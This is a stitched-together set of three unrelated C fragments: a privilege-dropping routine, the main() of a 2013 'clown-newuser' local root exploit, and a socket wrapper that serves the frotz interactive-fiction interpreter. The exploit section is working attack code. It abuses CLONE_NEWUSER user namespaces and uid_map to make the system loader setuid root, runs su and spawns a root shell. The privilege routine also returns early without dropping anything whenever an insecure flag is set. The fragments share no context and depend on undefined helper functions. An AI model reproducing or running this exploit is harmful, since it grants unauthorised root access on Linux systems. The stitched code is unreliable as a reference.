void drop_privileges(const uid_t uid, const gid_t gid) { VERIFY(setsid); if (insecure_flag == 1) { return; } #ifndef RANDOM_UID { struct passwd *pd; pd = getpwuid(uid); VERIFY_EXP(pd != NULL); setup_chroot(pd->pw_dir); } #endif #ifdef HAVE_SETRESGID VERIFY(setresgid, gid, gid, gid); #else VERIFY(setregid, gid, gid); #endif VERIFY(setgroups, 1, &gid); VERIFY(setgid, gid); VERIFY(setegid, gid); #ifdef HAVE_SETRESGID VERIFY(setresuid, uid, uid, uid); #else VERIFY(setreuid, UID_MAX, uid); #endif VERIFY(setuid, uid); VERIFY(seteuid, uid); #ifdef HAVE_SETRESGID { uid_t real; uid_t effective; uid_t saved; VERIFY(getresuid, &real, &effective, &saved); VERIFY_EXP(uid == real); VERIFY_EXP(uid == effective); VERIFY_EXP(uid == saved); VERIFY(getresgid, &real, &effective, &saved); VERIFY_EXP(gid == real); VERIFY_EXP(gid == effective); VERIFY_EXP(gid == saved); } #else VERIFY_EXP(geteuid() == uid); VERIFY_EXP(getuid() == uid); VERIFY_EXP(getegid() == gid); VERIFY_EXP(getgid() == gid); #endif }
int main(int argc, char *argv[]) { char *su[] = {"/bin/su", NULL}; char *sh[] = {"/bin/bash", NULL}; char me[256], *mee[] = {me, "1", NULL}; char uidmap[128], map_file[128]; pid_t pid; struct stat st; int fd; if (geteuid() == 0 && argc == 1) { /* this will run inside chroot, started as the ld.so from * su process */ printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid()); chown("lib64/ld-linux-x86-64.so.2", 0, 0); chmod("lib64/ld-linux-x86-64.so.2", 04755); exit(0); } else if (geteuid() == 0) { /* this will run outside */ setuid(0); execve(*sh, sh, environ); die("[-] execve"); } printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n"); memset(me, 0, sizeof(me)); readlink("/proc/self/exe", me, sizeof(me) - 1); printf("[+] Found myself: '%s'\n", me); if (fork() > 0) { printf("[*] Parent waiting for boomsh to appear ...\n"); for (;;) { stat(me, &st); if (st.st_uid == 0) break; usleep(1000); } execve(me, mee, environ); die("[-] execve"); } printf("[*] Setting up chroot ...\n"); setup_chroot(me); printf("[+] Done.\n[*] Cloning evil child ...\n"); if (pipe(go) < 0) die("[-] pipe"); pid = clone(child, child_stack + sizeof(child_stack), CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); if (pid == -1) die("[-] clone"); printf("[+] Done.\n[*] Creating UID mapping ...\n"); snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid); if ((fd = open(map_file, O_RDWR)) < 0) die("[-] open"); snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid()); if (write(fd, uidmap, strlen(uidmap)) < 0) die("[-] write"); close(fd); printf("[+] Done.\n"); close(go[0]); write(go[1], "X", 1); waitpid(pid, NULL, 0); execve(*su, su, NULL); die("[-] execve"); return -1; }
int main (int argc, char **argv) { int c; int ac; char *av[100]; int fd; struct sockaddr_in addr; socklen_t addrlen; fd_set rset; int maxfd; int n; char buf[1000]; struct timeval tv; double now; char *outp; int i; seteuid (getuid ()); outp = argbuf; for (i = 0; i < argc; i++) { sprintf (outp, "%s ", argv[i]); outp += strlen (outp); } setbuf (stdout, NULL); setbuf (stderr, NULL); fd = open ("/dev/null", O_RDONLY); dup2 (fd, 0); close (fd); for (fd = 3; fd < 100; fd++) close (fd); while ((c = getopt (argc, argv, "k:Ld:n")) != EOF) { switch (c) { case 'n': no_fork = 1; break; case 'd': game_dir = optarg; break; case 'L': use_logfile = 1; break; case 'k': conf_key = optarg; break; default: usage (); } } if (optind >= argc) usage (); zfile_name = argv[optind++]; if (optind != argc) usage (); if (strlen (zfile_name) > 30) { fprintf (stderr, "invalid zfile name\n"); exit (1); } if (conf_key == NULL) { struct passwd *pw; if ((pw = getpwuid (getuid ())) == NULL) { fprintf (stderr, "can't get my name\n"); exit (1); } conf_key = malloc (100); sprintf (conf_key, "%s-dev", pw->pw_name); } if (strlen (conf_key) > 50) { fprintf (stderr, "invalid conf_key\n"); exit (1); } sprintf (aux_dir, "/var/zorky-%s", conf_key); orig_stdout = dup (1); if (use_logfile) { sprintf (log_name, "%s/tmp/dfrotz.log", aux_dir); log_fd = open (log_name, O_WRONLY | O_CREAT | O_APPEND, 0666); if (log_fd < 0) { fprintf (stderr, "can't create log file\n"); exit (1); } fchmod (log_fd, 0666); dup2 (log_fd, 1); dup2 (log_fd, 2); } printf ("\n"); printf ("running: %s\n", argbuf); listen_sock = socket (AF_INET, SOCK_STREAM, 0); listen (listen_sock, 1); addrlen = sizeof addr; if (getsockname (listen_sock, (struct sockaddr *)&addr, &addrlen) < 0) { perror ("getsockname"); exit (1); } port = ntohs (addr.sin_port); printf ("startp id %d\n", getpid ()); printf ("port = %d\n", port); if (game_dir == NULL) { printf ("game_dir must be specified\n"); exit (1); } setup_chroot (); if (no_fork) { pid = 0; } else { if ((pid = fork ()) < 0) { fprintf (stderr, "fork error\n"); exit (1); } } if (pid > 0) { printf ("child1 %d\n", pid); sprintf (buf, "%d %d\n", port, pid); write (orig_stdout, buf, strlen (buf)); exit (0); } close (orig_stdout); ac = 0; av[ac++] = cmd_name; av[ac++] = z5_filename; av[ac] = NULL; if (pipe (fds_to_frotz) < 0 || pipe (fds_from_frotz) < 0) { fprintf (stderr, "error making pipes\n"); exit (1); } printf ("ready to fork frotz\n"); if (no_fork == 0) { if ((pid = fork ()) < 0) { fprintf (stderr, "fork error\n"); exit (1); } } else { pid = 0; } if (pid == 0) { dup2 (fds_to_frotz[0], 0); dup2 (fds_from_frotz[1], 1); dup2 (1, 2); close (fds_to_frotz[0]); close (fds_to_frotz[1]); close (fds_from_frotz[0]); close (fds_from_frotz[1]); for (fd = 3; fd < 100; fd++) { if (fd != log_fd) close (fd); } sprintf (buf, "execing %s %s %s %s %d %d\n", cmd_name, av[0], av[1], av[2], open (av[0],O_RDONLY), open (av[1],O_RDONLY)); write (log_fd, buf, strlen (buf)); execv (cmd_name, av); sprintf (buf, "exec failed %s %s\n", cmd_name, strerror (errno)); write (log_fd, buf, strlen (buf)); exit (1); } printf ("child2 %d\n", pid); to_frotz = fds_to_frotz[1]; close (fds_to_frotz[0]); from_frotz = fds_from_frotz[0]; close (fds_from_frotz[1]); fcntl (from_frotz, F_SETFL, O_NONBLOCK); base_secs = get_secs (); while (1) { FD_ZERO (&rset); maxfd = 0; FD_SET (listen_sock, &rset); if (listen_sock > maxfd) maxfd = listen_sock; tv.tv_sec = 1000; tv.tv_usec = 0; if (client_sock) { now = get_secs (); if (now - base_secs > .5) { fprintf (stderr, "frotz timeout\n"); close (client_sock); client_sock = 0; } FD_SET (from_frotz, &rset); if (from_frotz > maxfd) maxfd = from_frotz; FD_SET (client_sock, &rset); if (client_sock > maxfd) maxfd = client_sock; tv.tv_sec = 0; tv.tv_usec = 50 * 1000; } if (select (maxfd + 1, &rset, NULL, NULL, &tv) < 0) { perror ("select"); exit (1); } if (FD_ISSET (listen_sock, &rset)) { if ((fd = accept (listen_sock, NULL, NULL)) >= 0) { if (client_sock) { printf ("rejected second connection\n"); close (fd); } else { printf ("connected...\n"); client_sock = fd; fcntl (client_sock, F_SETFL, O_NONBLOCK); base_secs = get_secs (); } } } if (client_sock) { if (FD_ISSET (from_frotz, &rset)) { errno = 0; n = read (from_frotz, buf, sizeof buf); if (n == 0 || (n < 0 && errno != EWOULDBLOCK)) { fprintf (stderr, "frotz died %d %d\n", n, errno); exit (0); } if (n > 0) { base_secs = get_secs (); write (client_sock, buf, n); } } if (FD_ISSET (client_sock, &rset)) { n = read (client_sock, buf, sizeof buf); if (n == 0 || (n < 0 && errno != EWOULDBLOCK)) { fprintf (stderr, "client died\n"); close (client_sock); client_sock = 0; } else { write (to_frotz, buf, n); } } } } return (0); }